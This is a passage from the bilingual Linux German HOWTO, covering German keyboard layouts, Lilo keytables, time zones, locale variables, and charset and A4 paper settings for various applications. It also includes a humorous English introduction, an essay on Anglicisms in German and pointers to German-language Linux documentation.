Definiert wird das Euro-Symbol vom Zeichensatz ISO-8859-15. Es liegt in der Tabelle bei den anderen Währungs-Symbolen zwischen Pfund und Yen. Über die Tastatur können Sie es wie aufgedruckt mit AltGr-E eingeben. Die Tastenkombination AltGr-C gibt das bekannte Cent-Symbol.

1.5 Tastatur

Alle dem Autor bekannten Distributionen stellen die deutsche Tastaturbelegung selbstständig bei der Installation ein. Ist man mit dem Resultat nicht zufrieden, so lassen sich mit den Kommandozeilen-Werkzeugen loadkeys (Text-Konsolen) und xmodmap (X11) andere Belegungen einstellen. Eine genauere Beschreibung der Werkzeuge geht über den Anspruch dieses Dokuments hinaus.

Bei dieser Gelegenheit soll ein wenig Licht in die Konzepte der Tastaturbelegung gebracht werden, um unter Unix/Linux in Zukunft weniger Probleme mit den Tastenbelegungen zu haben. Die Betätigung einer Taste sendet eine Kennzahl. Andere Tastaturen geben andere Kennzahlen. Ähnlich zu den weiter oben beschriebenen Zeichensätzen, kommen auch bei der Tastatur Zuordnungstabellen zum Einsatz, die den Kennzahlen Symbole zuordnen. Die Zuordnungstabellen heissen Tastaturbelegungen. Eine Tastaturbelegung definiert unter Umständen nicht direkt die auszugebenden Zeichen, sondern machen einen Zwischenschritt über symbolische Namen. Beispiel: Unter X11 sendet eine Taste die Kennzahl 22. Die Tastaturbelegung definiert für diese Kennzahl (Terminus "keycode") das Symbol BackSpace, womit die Taste zum Löschen des linken Zeichens auf der PC-Tastatur gemeint ist. X11-Anwendungen reagieren direkt auf dieses Tasten-Symbol. Für Anwendungen, die in einem Textdialog-Fenster (xterm, ssh) ablaufen, wird das Symbol widerum in eine Steuersequenz übersetzt, z.B. Steuerung-? oder Escape-[3 .

Kompositionen

Gebräuchliche Tastaturen verfügen über ca. 110 Tasten. Um damit den kompletten Zeichensatz ISO-8859-1 eingeben zu können, müsste man die Tasten mit bis zu vier Zeichen belegen. Benötigt man nur selten den Zugriff auf den kompletten Zeichensatz, dann ist die Vierfach-Belegung ein zu hoher Lernaufwand. In diesem Fall bietet sich die Kompositions-Taste an. Diese Taste verursacht selbst keine Ausgabe auf dem Bildschirm, sondern komponiert die beiden nachfolgend eingegebenen Zeichen zu einem. Mit anderen Worten: Die Zeichen werden übereinander gedruckt. Beispiel: Die Tastenfolge <Compose> <~> <a> ergibt ein ã. Unter Linux ist meist eine der Tasten rechts von der Leertaste mit der Kompositions-Funktion belegt. (Hinweis für Xmodmap-Bastler: Das XFree-Tasten-Symbol der Kompositions-Taste ist Multi_key.)

Ständige Komposition

Bestimmte Tasten können als ständig komponierend konfiguriert werden. Die Betätigung solcher Tasten führt zunächst zu keiner Ausgabe auf dem Bildschirm, sondern das betreffende Symbol wird über das nächste Zeichen gedruckt, das eingetippt wird.

Die Funktion wird im Englischen manchmal mit "dead keys" bezeichnet, was eine Fehlbezeichnung ist, denn tote Tasten verursachen überhaupt keine Funktion.

Das Bootprompt

Beim Starten des Computers wird der Linux-Kernel von einem sogenannten Boot-Loader in den Arbeitspeicher geladen. Über den Boot-Loader kann man dem Kernel Parameter übergeben - vorausgesetzt, man kennt die amerikanische Tastenbelegung. Die folgenden Abschnitte beschreiben die Möglichkeiten zur Konfiguration der Tastenbelegung für die Boot-Loader von Linux.

Lilo

Seit der Version 2.0 hat die ehrenwerte Dame die Fähigkeit zur Verwendung alternativer Tastenbelegungen. Dem Source-Code liegt das Perl-Skript keytab-lilo.pl bei, mit der man eine der Tastaturbelegungen für die Textkonsolen in für Lilo geeignetes Format überführt. Beispiel: man möchte die Tastenbelegung de-latin1-nodeadkeys.map schon auf dem Lilo-Prompt geladen wissen. Dazu ist folgender Befehl auszuführen:

./keytab-lilo.pl  de-latin1-nodeadkeys  > /boot/de-latin1-nodeadkeys.ktl

Um dises Belegung zu aktivieren muß man in der Konfigurationsdatei /etc/lilo.conf folgenden Eintrag vornehmen und danach das Kommando lilo ausführen. Die Details können sich allerdings von Distribution zu Distribution unterscheiden, weshalb man bitte die mitgelieferten Handbücher konsultiere.

keytable = /boot/de-latin1-nodeadkeys.klt

1.6 Zeitzone

Die Erde ist in Zeitzonen eingeteilt, innerhalb derer die Tageszeit von der natürlichen Zeit (höchster Sonnenstand = Mittag) abweichen kann. Die Tageszeit der Zeitzone kann sogar springen, wie beispielsweise bei der Umstellung zwischen Sommer und Winterzeit. Bei den Zeitzonen handelt es sich also um politische Festlegungen. Für kleine Länder kann man die Zeitzone über die Hauptstadt auswählen, also Europe/Berlin, Europe/Vienna oder Europe/Zurich. Hinter diesem Alias-Namen verbirgt sich die tatsächliche Zeitzone, nämlich in unserem Fall die Mitteleuropäische Zeit (Central European Time, CET) bzw. die Mitteleuropäische Sommerzeit (Central European Summer Time, CEST).

Das früher gebräuchliche MET sollte unter keinen Umständen weiterverwendet werden. Von Markus Kuhn stammt folgende Information zu diesem Thema: Die Datei MET existiert nur zwecks Rückwärtskompatibilität. Die Autoren der Zeitzonentabellen (Olson/Eggert/et al.) wollen eigentlich, daß deutsche Anwender statt MET die Datei Europe/Berlin verwenden. Dann stimmen sogar die historischen Sommerzeiten vor 1945, die Linux auch alle kennt. Außerdem wird dann in der neuesten Version der Zeitzonentabelle "Mitteleuropäische Zeit (MEZ)" endlich korrekt ins Englische mit "Central European Time (CET)" übersetzt, denn "MET" ist ein übersetzungsfehler (siehe z.B. Langenscheid Englisch). Ich habe deswegen sogar beim Physikalisch-Technischen Bundesamt nachgefragt, die für die deutsche Zeit verantwortlich sind.

Der gemeinsame Bezugspunkt für alle Zeitzonen ist die Universalzeit (Universal Time, UTC), früher auch Greenwich Mean Time (GMT) genannt. Unter Linux lässt man die CMOS-Uhr auf der Hauptplatine üblicherweise mit UTC laufen. Der Linux-Kernel übernimmt den Wert der CMOS-Uhr beim Systemstart und errechnet daraus die Sekunden seit dem 1. Januar 1970, 0 Uhr (Unix Epoch Time). Intern arbeitet der Linux-Kernel nur mit dieser Sekunden-Zahl, die üblicherweise auch in UTC läuft. Soll dem Anwender ein Datum oder eine Zeit angezeigt werden, dann wird aus der Systemzeit unter Berücksichtigung der Zeitzone und der Lokalisierung (siehe oben) eine Zeichenfolge konstruiert.

Zusammenfassend kann man sagen, dass es unter Linux 3 Zeiten gibt: Die der auf dem Motherboard installierten CMOS-Uhr, die Systemzeit des Linux-Kernels und die dem Anwender von verschiedenen Uhren angezeigte Zeit. Die Kommandozeilen-Werkzeuge hwclock ("hardware clock") und date übersetzen zwischen diesen Uhrzeiten. Folgende Strichzeichnung verbildlicht die Zusammenhänge:

            hwclock -u -w               date -u -s
 CMOS-Uhr  <--------------   Linux    <--------------
  (UTC)                    Systemzeit                 Anwender-Uhr
           -------------->  (Epoch)    -------------->
            hwclock -u -s               date, xclock

Zwar liest der Kernel schon beim Booten die CMOS-Uhr aus und interpretiert sie als UTC. Aber um systematische Fehler der CMOS-Uhr zu korrigieren, wird die Uhrzeit von einem der Systemstart-Skripte im Verzeichnis /etc/init.d/ ein weiteres Mal gelesen. Übernimmt man die Linux-Systemzeit mit dem Kommando netdate von einem Zeit-Server, dann muss man die CMOS-Uhr mit dem Kommando hwclock nachziehen.

Die systemweit gewählte Zeitzone kann mit der Umgebungsvariable TZ individuell überschrieben werden. Beispiele:

export TZ=Asia/Hong_Kong; xclock &
export TZ=UTC; xclock &

1.7 Anwendungen

Internationalisierung und Lokalisierung

Internationalisierung und Lokalisierung sind auch im Englischen lange Wörter, weshalb sie mit i18n und i10n abgekürzt werden. Die Zahlen geben an, wieviele Buchstaben in der englischen Schreibweise ausgelassen wurden.

Mit i18n wird die Veränderung eines Programms zur Unterstützung mehrerer Sprachen bezeichnet. Bei diesem Prozess wird normalerweise der angezeigte Text (Menüs, Meldungen, usw.) vom Programmcode getrennt. Auf diese Weise können sich mehrere Übersetzungen denselben sprachenunabhängigen Programmcodes teilen. Ins Deutsche übersetzte Programmeldungen können über die Umgebungsvariable LANG ausgewählt bzw. aktiviert werden. Beispiel:

#LANG=de_AT  # in österreich
#LANG=de_CH  # in der deutschsprachigen Schweiz
LANG=de_DE   # in Deutschland
export LANG

Das Resultat ist nicht immer zufriedenstellend. Beispielsweise sind nicht alle Bibliotheken internationalisiert, so dass sich die Ausgabe-Texte mit Englisch mischen. Die Entwicklung in den vergangenen Jahren lässt sich an folgendem Beispiel ablesen:

# im Jahre 1997:
tar: Kann Archiv 'foo.tgz' nicht öffnen: Permission denied

# im Jahre 2001:
tar: foo.tgz: Cannot open: Keine Berechtigung

i10n bezeichnet die darüber hinaus gehende Feinarbeit der Anpassung an nationalen Besonderheiten, wie Datums- und Zahlenformate oder das kulturelle Umfeld. Eine deutsche Lokalisierung wird mittlerweile automatisch mit der LANG-Umgebungsvariable aktiviert. So macht es am meisten Sinn. Bei älteren Systemen kann mit der Umgebungsvariable LC_ALL die Lokalisierung eingeschaltet werden. Beispiel:

LC_ALL=de
export LC_ALL

Die Einstellungen sollten von allen modernen Linux-Distributionen automatisch vorgenommen werden. Exotischere Lokalisierungen sind zum Beispiel von IBM erhältlich: IBM developer works: universal locales

Ausnahmen von der Regel

Sowohl für die Textkonsole als auch für X11 existieren Zeichensätze, die nicht alle Zeichen aus ISO-8859-1 enthalten. Dies gilt erst recht für Unicode. Die fehlenden Zeichen (z.B. Umlaute) werden als Leerzeichen oder gar nicht auf dem Bildschirm dargestellt. In diesem Fall hilft natürlich die nachfolgend beschriebene Konfiguration der Anwendungen nicht weiter, sondern es muß ein anderer (vollständiger) Zeichensatz gewählt werden.

Anwendung    Einstellung                vorgenommen in/auf
-------------------------------------------------------------------
LaTex        \usepackage{a4}            im Dokument
gnuplot      set encoding iso_8859_1    ~/.gnuplotrc
xfig         Fig*inches:   false        Xresource
xfig         -metric                    Kommandozeilenoption
lynx         CHARACTER_SET:iso-8859-1   ~/.lynxrc und /etc/lynx.cfg
nn                                      ~/.nn/init und /etc/nn/setup
             set data-bits 8
             set charset iso-8859-1
tin                                     ~/.tin/headers
             Mime-Version: 1.0
             Content-Type: text/plain; charset=iso-8859-1
             Content-Transfer-Encoding: 8bit
elm                                     ~/.elm/elmrc und /usr/lib/elm/elm.rc
             charset = iso-8859-1
             displaycharset = iso-8859-1
             textencoding = 8bit
pine         character-set=ISO-8859-1   ~/.pinerc und /etc/pine.conf
less         LESSCHARSET=latin1         Umgebungsvariable
joe          -asis                      ~/.joerc und /etc/joe/joerc
dosemu                                  ~/.dosrc und /etc/dosemu.conf
             keyboard { layout de-latin1  keybint on  rawkeyboard on }
             X { updatefreq 8 title `DOS in a BOX' icon_name `xdos' keycode }
kermit                                  ~/.mykermrc und /etc/kermit.ini
             set terminal bytesize 8
             set command bytesize 8
             set file bytesize 8
             set language german
             set file character-set latin1-iso
             set transfer character-set latin1-iso
             set terminal character-set latin1-iso

Texte

Das Papierformat DIN A4

In Amerika wird hauptsächlich das Papierformat US-Letter verwendet, welches ein wenig breiter und niedriger ist als das in Europa gebräuchliche DIN A4. Oft muss man Anwendungen ausdrücklich auf DIN A4 einstellen. Beispiele:

Anwendung    Einstellung                vorgenommen in/auf
-------------------------------------------------------------------
LaTex        \usepackage{a4}            im Dokument
xdvi         XDvi.paper: a4             X-Resource
ghostview    Ghostview.pageMedia: A4    X-Resource
ghostscript  -sPAPERSIZE=a4             Kommandozeile
dvips                                   Konfigurationsdatei .dvipsrc
             @ a4size 210mm 297mm
             @+ %%PaperSize: a4
ImageMagick  -page A4                   Kommandozeile

Austausch von Texten mit anderen Systemen

Die Textformate von DOS/Windows-basierten System, Apple-Computern und UNIX unterscheiden sich in zwei Punkten: Zeichensatz und Zeilenenden. Linux macht am Ende einer Textzeile nur einen Zeilenvorschub, Äpfel machen nur einen Wagenvorlauf und DOS-basierte Systeme machen beides.

Die Programme fromdos, todos und frommac, tomac wandeln ausschließlich die Zeilenenden um, die Zeichen selbst werden nicht angepaßt. Gleiches gilt für die Optionen `conv=auto', bzw. `conv=text' des mount-Kommandos bezogen auf das MS-DOS Dateisystem.

Will man auch die Zeichensätze von Texten konvertieren, dann hilft das Kommandozeilen-Werkezeug recode weiter. Durch die Definition von Aliasen kann man sich das Leben etwas einfacher machen:

alias unix2dos='recode lat1.ibmpc'
alias dos2unix='recode ibmpc.lat1'
alias unix2mac='recode lat1.mac'
alias mac2unix='recode mac.lat1'

Drucken

Die folgenden Überlegungen betreffen nur Text-Dateien. Grafiken oder die Ausgabe von Textverarbeitungen werden als Punktmuster zum Drucker geschickt und sind daher nicht betroffen.

Gängige Drucker-Modelle erwarten Texte im DOS-Format. Schickt man eine Textdatei im Unix-Format zum Drucker, dann erhält man einen Treppenstufen-Effekt, weil der Text am Ende der Zeile keinen Wagenrücklauf aufweist. Beispiel: lpr /etc/nsswitch.conf. Entweder konvertiert man Textdateien wie oben beschrieben in das DOS-Format oder man wandelt sie mit Werkzeugen wie atp, mpage, a2ps, ascii2ps, encode oder gencode in das PostScript-Format. Für PostScript installieren die modernen Linux-Distributionen Drucker-Treiber.


German Howto: English Part (Englischer Teil)

 Next Previous Contents

2. English Part (Englischer Teil)

2.1 Introduction

The Linux German Howto explains how to enable German specific features for Linux applications as well as for the Linux system. But what is German specific? If you have been to the worlds largest computer exhibition CeBIT in Hannover, you may consider traditional leather costumes, white sausages, (real!) beer and perfectely ironed underwear to be typical for germany. Please beg my pardon that I can't comment on the underwear part or else this Howto would at least get a R-rating, which would trigger questions about distribution restrictions and their impacts for free software and OpenSource and OpenDocumentation and so on. In the end we will surely have an OpenRating as well. Pure horror.

Regarding the other three points about germany mentioned above, these are correct as you may already have figured out yourself. Believe me, I'm just wearing such a traditional costume while typing the text in front of his computer. Everybody does all the time. Even my computer wears a leather costume, or else it would not be germany! Built into the leather case is a sound microprocessor to turn the simple PC-beep into an original south german yodel. Can you already see the alp mountains?

So what else is german specific? Maybe your friendly stewardess told you the waiter at a restaurant "is not offensive but doing regular service to you" before your plane arrived at the german airport. Cultures clashing into each other. Of course the waiter is doing his best, but at least the americans are not willing to understand. Example: In my home town the waiters are employed to serve the beer. This is a fundamental different concept than just aiming at bloody customer satisfaction. It counts that the beer can flow down your throat in a fresh state. The beer must be satisfied. Think of it as a religious believe. Next time the american president secretly visits me, I will explain and show him all the details. Promised.

Also quite typical for German are long words and long sentences. Example: The German translation of Howto is Sowirdsgemacht. More than double as long. My words are longer than yours. Ha! We can even go for extremes like in Dampfschifffahrtspensionskassenchefsekretärinnenhalbjahresbetriebsausflugsbudget. The typsetter will surely hate me for using such a long word. D78g, now all-together: Nyia-hahaha. As you can imagine, most applications will die because of string buffer overflows when german users start to type in their unusal long words. That is what the German Howto is about.

Not to forget our German speaking friends at the south: Austria and Switzerland. Read this Howto and learn how to manage your secret swiss bank account from within Linux. Making money fast is twice as much fun then.

Well, before I completely destroy the image of over-serious germans, lets come to the point. Linux is developed by a world wide community of hackers on the internet. Their least common denominator for communication is English and that works quite acceptable. The situation for users is different. In order to do their work, they have to use the native language and the specifics of their country. Examples: characters, time zones and numbering conventions. Luckily Linux is so widespread, that national markets have already become a target for Linux distributions. In other words, most adaptions are already built in. In this context the KDE project should be mentioned, as it surely has set milestones for the amount, ease and completeness of internationalization in applications. The German Howto honors this evolution by concentrating on basic knowledge instead of endless parameter listings.

The English part of the Howto is much shorter than the German one. It is only inteded as an overview of the situation.

2.2 Copyright, licence and disclaimer

© Winfried Trümper <me@wt.xpilot.org> 1994-2001. All rights reserved.

Distribution and use of this document are allowed under the following restrictions: The name of the author must not be used to endorse or promote products based on the German Howto and modified versions must be clearly identified as such.

Text, illustrations and programs in this Howto were crafted carefully. Nevertheless the chance of an error is always there. Because of the complexity and the frequent changes of computer systems, the author disclaims all warranties with regard to this document, including all implied warranties of merchantability and fitness for a certain purpose; in no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use of this document.

Short: use this Howto at your own risk.

2.3 Availability

Linux Howtos fill the gap between books and short readme files. They explain one subject in a detailed fashion. To fullfill this goal, the Linux Documentation Project (LDP) has created a infrastructure consisting of authors, tools and distribution channels. The Linux German Howto is part of the LDP and thus available like all other Howtos. Either on the LDP homepage or under the directory /usr/share/doc/howto/ on a typical Linux installation. Printed collections of Howtos published by various companies are available at your local bookstore.

The latest version of this document can be downloaded from my homepage.

Corrections and suggestions should be sent via email to my address me@wt.xpilot.org. Paid contracts for product placements in the introduction are also welcome.

2.4 Linux in German speaking countries

This is a small list of Linux portals, which are maintained and updated frequently:

Linux in Österreich

Linux in der Schweiz

Linux.de

Pro Linux

A large number of local Linux User Groups exists in Austria, Germany and Switzerland. You can find them in the directories of most German Linux Portals. Country wide associations are the Linux-Verband, which aims more at commercial members, and the German Unix User Group (GUUG), which aims at system administrators. Three large conventions are held each year, the LinuxTag (LinuxDay), the Linux-Kongress and the LinuxWorld Expo. Local events are usally organised by the Linux User Groups and can be found in the calendars. The newsgroup hierarchy de.comp.os.unix.linux.* is a quite busy part of the german usenet. The same is true for the IRC channels #debian.de and #linuxger.

2.5 Configuration

Characters

The traditional character sets for central europe are ISO-8859-1 and ISO-8859-15 (including the euro symbol). Please see the german part of this Howto for an excerpt of ISO-8859-15. Unicode covers both sets, but only few users have applications with full support for unicode. That may change in the future.

Conversions of the character sets have also be done when exchanging texts between Unix/Linux, Macintoshs and DOS/Windows systems. It is not enough to just convert the line endings. This is also true for printing; most printers expect the DOS-style text format. (When printing from word processors and such, high quality binary bitmaps are sent to the printer, which are not affected by character set and line ending problems.)

Quite annoying is the fact that y and z are exchanged compared to an english keyboard. Not to speak of the special characters like the slash. Now imagine you want to type yes and it always gives zes. Or you want to type /dev/sda and it gives ?dev?sda. Short: a keyboard mapping is required in europe. Every european country has its own keyboard layout. The right mapping can be choosen at installation time for all modern Linux distributions. Suitable for germany and austria is de-latin1-nodeadkeys, whereas the swiss people need sf-latin1 (swiss-french) or sg-latin1 (swiss-german).

Please keep in mind that the loadkeys command only helps for a properly started system. To have the correct mapping even for the Lilo boot prompt, you have to create a key mapping with keytab-lilo.pl and configure Lilo to use that mapping.

The character set ISO-8859-1 shares the first 128 characters with US-ASCII and defines another 128 characters on top of it. To type in all these characters on the keyboard, it would be necassary to map up to four symbols per key. For cases where you access the complete set only occasionally,such a mapping would be a too high learning effort. One solution is the use of the compose key. After pressing the compose key, which is usally mapped to the right control key, the next character is not displayed but instead printed over the following character. Example: the sequence Right-Ctrl A is composed as the character Ã (capital a with a tilde on top).

An alternative is the feature of always composing keys. Under such mappings, characters like are never displayed but always printed over the following character. Usally this feature is refered to as dead keys, which is a little bit misleading. I'm not aware of anybody using the dead keys feature.

Currency

On january 1st 2002, the last step of the currency union in europe was performed. Since then the currency is euro and its fraction is cent. Although there is a special currency symbol in ISO-8859-15 and in unicode, you can safely use the ISO currency code EUR for euro as you used ATS for austrian schillings or DEM for deutsche marks before. Please note that switzerland (CHF, swiss francs) is not part of the european union.

XFree86

There is nothing special about XFree86 for German users. Howevery, several hardware manufactures asked me for the correct setting, which is why I'm citing them here.

# for XFree86 4.1.* only:
Section "InputDevice"
  Driver       "Keyboard"
  Identifier   "Keyboard[0]"
  Option       "Protocol" "Standard"
  Option       "XkbLayout" "de"
  Option       "XkbModel" "pc104"
  Option       "XkbRules" "xfree86"
  Option       "XkbVariant" "nodeadkeys"
EndSection

# for XFree86 3.* only:
Section "Keyboard"
  Protocol      "Standard"
  XkbRules      "xfree86"
  XkbKeycodes   "xfree86"
  XkbModel      "pc104"
  XkbLayout     "de"
  XkbVariant    "nodeadkeys"
EndSection

2.6 Time zone

The time zones for central europe are CET (Central European Time) and CEST (Central European Summer Time) respectively. However, system administrators are expected to use one of the aliases Europe/Berlin, Europe/Vienna or Europe/Zurich. This gives correct results even before the Unix Epoch.

Internationalization and lokalization

Internationalization and lokalization are unusal long words (but not as long as D78g, see above) and thus abreviated by i18n and i10n. The numbers indicate how many characters have been left out.

I18n denotes the changes to the program code in order to have a multi lingual output. A common implementation is to seperate the messages from the code. This way several translated texts share the same code base. German messages are activated with the LANG environment variable. Examples:

#LANG=de_AT  # for austria
#LANG=de_CH  # for switzerland (German)
LANG=de_DE   # for germany
export LANG

The result is not always satisfying, because not all applications and libraries are internationalized. It may happen that German and English messages are mixed like in the following example, which also illustrates the evolution of the problem:

# in 1997:
tar: Kann Archiv 'foo.tgz' nicht öffnen: Permission denied

# in 2001:
tar: foo.tgz: Cannot open: Keine Berechtigung

German messages alone don't make much sense. Applications must also display the data using the correct format. Example: 08.07.2001 instead of 07.08.2001 or EUR 10.000,32 instead of EUR 10,000.32. You get the idea. The required changes to the programm are denoted as i10n. Today the LANG variable also activates the associated locale.

Paper size

The standard paper size in europe is DIN A4, which is a little bit smaller and taller than US-letter. The aspect ratio of height vs. width is the square root of two. All sizes are derived from A0 by a centered cut at the longer side.


German Howto: Fun für Dich: Denglish

 Next Previous Contents

3. Fun für Dich: Denglish

Das erste Kapitel in Deutsch, das zweite in Englisch. Was liegt näher, als im Dritten beide Sprachen zu mischen? Zur genaueren Erörterung dieser Frage möchte ich an dieser Stelle ein Beispiel aus der Welt der Programmiersprachen geben. Programmiersprachen haben den Vorteil, dass sie einen einfachen Grund-Wortschatz aufweisen und nicht gesprochen werden, d.h. reine Schriftsprachen sind. Vorranging um Schriftsprache geht es ja bei der einleitenden Frage.

# Perl und Bourne gemischt:
system("rm wochenplan.pdf");

# natives Perl
unlink("wochenplan.pdf");

Auch Programmiersprachen lassen sich mischen, wie im Beispiel gezeigt wird. Die Perl-Funktion system ruft den Bourne-Interpreter auf, der seinerseits das externe Programm rm zur Entfernung der Datei geschäftsbericht.txt aufruft. Eine Recht komplizierte Vorgehensweise, welche aber oft in Computer-Programmen von Anfängern zu finden ist, denen noch die Erfahrung im Umgang mit der Sprache fehlt. Das fehlende Wissen über die Funktion unlink wird kompensiert durch die Kombination der Universal-Funktion system mit dem Wissen über das externe Werkzeug rm zur Entfernung von Dateien. Auf diese Weise ist das Programm in kürzester Zeit lauffähig.

Jeder erfahrene Perl-Programmierer wird bei der oben gezeigten Mischung der Sprachen einen Schrei des Entsetzens ausstossen, weil er um die damit verbundenen Gefahren weiss. Die Bedenken sind technischer Art, zum Beispiel könnten sich rm oder der Bourne-Interpreter später anders verhalten, schliesslich sind beide nicht Teil von Perl als Sprache. Als Folge könnte die Datei nicht oder eine andere Datei gelöscht werden. Und weil das in der Praxis tatsächlich vorkommt, wird immer wieder geraten, die Möglichkeiten einer Programmiersprache auszuschöpfen, bevor man andere Sprachen hinzumischt.

Leider ist es in den letzten Jahren üblich geworden, viel Englisch in die Deutsche Sprache zu mischen, obwohl dazu keine Notwendigkeit besteht. Aber bevor ich auf die möglichen Ursachen eingehe, ist es noch notwendig, den Bezug zu den Programmiersprachen herzustellen. Die deutsche Schriftsprache ist sicherlich sehr viel komplexer als Perl. Trotzdem ist der Zweck in beiden Fällen gleich: Informationen zu übermitteln, ohne dass deren Urheber zugegen wäre. Bei einem Buch werden in Abwesenheit des Autors Informationen an den Leser übermittelt, bei einem Programmtext an den Prozessor des Rechners. Genau das ist der Unterschied zur gesprochenen Sprache, bei der immerhin eine unterstützende Betonung gegeben werden kann, wenn nicht sogar der Autor persönlich zugegen ist und auf diese Weise Gesten oder Rückfragen möglich sind. In diesem Sinne gehört auch eine eingetippte Plauderei (engl. chat) im IRC, den virtuellen Räumen oder im Heise Newsticker trotz der Verwendung von Buchstaben eher zur gesprochenen Sprache.

Man kann also festhalten, dass es für die Informationsübermittlung Medien mit verschiedenen Bandbreiten gibt. Papier ist sozusagen das alte Modem, getippte Plaudereien sind schon DSL und die Anwesenheit vor Ort ist 100base-T Ethernet. Der Rückschluss "Im Chat haben mich immer alle verstanden, daher brauche ich zum Schreiben eines Buch keine Grammatik-Kenntnisse" führt daher nicht zum Erfolg: Was bleibt von einem Video übrig, das von DSL-Qualität auf Modem-Bandbreite herunterproduziert wird? Ich will an dieser Stelle nicht den vielzitierten Untergang des Abendlandes heraufbeschwören, aber die Notwendigkeit und die Vorteile von Schriftsprache für unsere Kultur sollte man schon verständlich vermitteln. Eine immer komplexer werdende Welt erfasst man besser mit einer guten Schriftsprache.

Drei Ursachen für die Verenglischung der Deutschen Sprache stellen sich mir dar:

  • Künstliche Aufwertung von gewöhnlichen Produkten durch Verwendung der englischen Bezeichnungen. Beispiele: LCD-Display statt LCD-Anzeige, Music Awards statt Musikpreise, Server-Cluster statt Server-Gruppe oder Open-Air-Konzert statt Freiluftkonzert.
  • Die Bequemlichkeit, die Kenntnisse aus Sprachen unreflektiert in andere zu übernehmen. (Siehe oben.)
  • Fehlender Mut zu mehr Selbstbewusstsein. Das steigert sich dann bis hin zur Mystifizierung, man könne to mount nicht mit montieren übersetzen, weil noch andere (unerforschte?) Bedeutungen in "mount" stecken würden.

Natürlich gibt es auch den umgekehrten Fall, nämlich dass deutsche Worte hin und wieder in der englischen Sprache verwendet werden. Beispiele: Kindergarden, Autobahn oder heimlich. Aber dieser Anteil ist ohne Bedeutung und bleibt tatsächlich im Rahmen einer Bereicherung der Sprache, nicht der einer Verdrängung.

Die derzeitige Verenglischung des Deutschen halte ich aus den skizzierten Gründen für bedenklich, aber nicht für unausweichlich. Einzelne gewaltsam übersetzte IBM-Handbücher vergangener Tage sind zumindest für mich kein Argument, nicht nach besseren Lösungen zu suchen.


German HOWTO: Dokumentation

 Next Previous Contents

4. Dokumentation

4.1 Deutsches Linux HOWTO Projekt (DLHP)

Das Deutsche Linux HOWTO Projekt beschäftigt sich mit der Übersetzung der originalen Linux HOWTOs ins Deutsche. Unter der URL

http://www.tu-harburg.de/~semb2204/dlhp/
kann man eine Liste aller übersetzten HOWTOs und nähere Informationen zum Projekt abrufen.

4.2 Bücher

Mittlerweile gibt es sehr viele deutschsprachige Bücher zu Linux, weshalb ich die Übersicht aus diesem HOWTO herausgenommen habe.

Martin Schulze <joey@finlandia.infodrom.north.de> unterhält eine Liste mit deutschen Büchern rund um Linux, die unter der URL:

http://www.infodrom.north.de/Linux/Buecher/
erhältlich ist und die in der Newsgroup de.comp.os.linux.misc regelmäßig gepostet wird.

4.3 Deutschsprachige Manual-Pages

Eine Gruppe von Freiwilligen hat sich die Übersetzung der englischen Manual-Pages vorgenommen. Obwohl bereits ein ansehnlicher Teil übersetzt ist, werden weiterhin Übersetzer gesucht. Details unter der URL:

http://www.Infodrom.North.DE/Linux/manpages-de/

4.4 Diverses

GNU emacs reference card

Eine deutsche Version der äußerst nützlichen Referenzkarte zum Texteditor `emacs' findet man unter der URL:

http://www.inf.tu-dresden.de/~sr1/projects/emacs-refcard/index.html

Crash-Kurs Linux

Wer gerne knappe Bescheibungen mag, sollte einen Blick in den von mir geschriebenen `Crash-Kurs Linux' werfen.

http://www.uni-koeln.de/themen/linux/ckl/


German HOWTO: Das System

 Next Previous Contents

5. Das System

5.1 Konsole

Die Konsole ist die Tastatur und der Bildschirm eines Linux-Systems; in der Regel also der VGA-Monitor plus Tastatur.

Linux täuscht den Programmen mehr als eine Konsole vor und der Benutzer kann dann mittels Tastenkombination <Alt-Ctrl-F1> - <Alt-Ctrl-F8> zwischen diesen hin- und herblenden. Die vorgetäuschten Konsolen nennt man virtuelle Konsolen.

  |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|                             |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
  |  Escape the     |<--  setfont    loadkeys  -->|^1234567890ß  123 |
  |  Gates of hell. |                             | qwertzuiopü+ 567 |
  |                 |=======+             +=======| asdfghjklöä# 789 |
  |  Use Linux.     |       |             |       | <yxcvbnm,.  0,  |
  |                 |       |             |       |__________________|
  |_________________|       |             |
          MMM               |             |
       MMMMMMMMM            |             |             +---<---< Internet
                            |             |             |
                    +-------*-------------*------+      |
                    |        \           /       |      |      X11 ------+
                    |         \         /        |      |       |        |
                    |  Betriebssystemkern Linux  |   telnetd  xterm      |
  Alt+Ctrl F1F8 ----------------/ <>           |       \\   ///        |
  als Schalter      |           /                |        \\ ///         |
                    |     /    |          \      +-------+· · ·+-------+ |
                    |    /     |           \     | ptyp1 |     | ptyef | |
                    |······+······+ · · · +······+·······+ · · +·······| |
                    | tty0 | tty1 | . . . | tty8 | ttyp1 | · · | ttyef | |
                    +------+------+ - - - +------+-------+ - - +-------+ |
                      |      |              ^              |             |
                   bash      emacs          |              less          |
                                            |                            |
                                             `---------------------------'

Die nachfolgend beschriebenen Einstellungen betreffen alle virtuellen Konsolen gleichzeitig. Welches die "richtige" Datei für die Kommandos ist, darüber kann nur das Handbuch der eigenen Distribution Auskunft geben. (Tip: das Configuration HOWTO kann in vielen Fällen helfen.)

Weiterführende Literatur: Keystroke-HOWTO (engl.).

Es ist unter Linux übrigens nicht notwendig, die virtuellen Bildschirme mit dem Befehl `stty pass8' in den 8-bit Modus zu schalten - das sind sie nämlich von Hause aus.

Tastenbelegung der Textkonsolen

Für die unterschiedlichen Tastaturen der verschiedenen Länder liegen im Verzeichnis `/usr/lib/kbd/keytables' vorgefertigte Konfigurationsdateien. Mit dem Kommando `loadkeys' kann man eine solche Datei in den Linux-Kernel laden und dadurch den Tasten bestimmte Zeichen zuordnen.

Um Mißverständnissen vorzubeugen: man ordnet den Tasten keine Bedeutungen zu, sondern nur bestimmte Zeichen. Dadurch ist sichergestellt, daß die Tastatur auch beim Arbeiten mit entfernten Rechnern funktioniert, denn Zeichen kann man über jede Art von Netzwerkverbindung übertragen. Dagegen wäre eine direkte Abfrage der Tastatur-Hardware (so wie unter DOS) über ein Netzwerk nicht möglich - es ist ein Widerspruch in sich.

Die Bedeutung eines Zeichens (und damit einer Taste) kann von Programm zu Programm leicht unterschiedlich sein und die Kunst liegt in der effektiven, bzw. komfortablen Konfiguration der Bedeutung. Die länderspezifischen Aspekte werden im kommenden Kapitel behandelt.

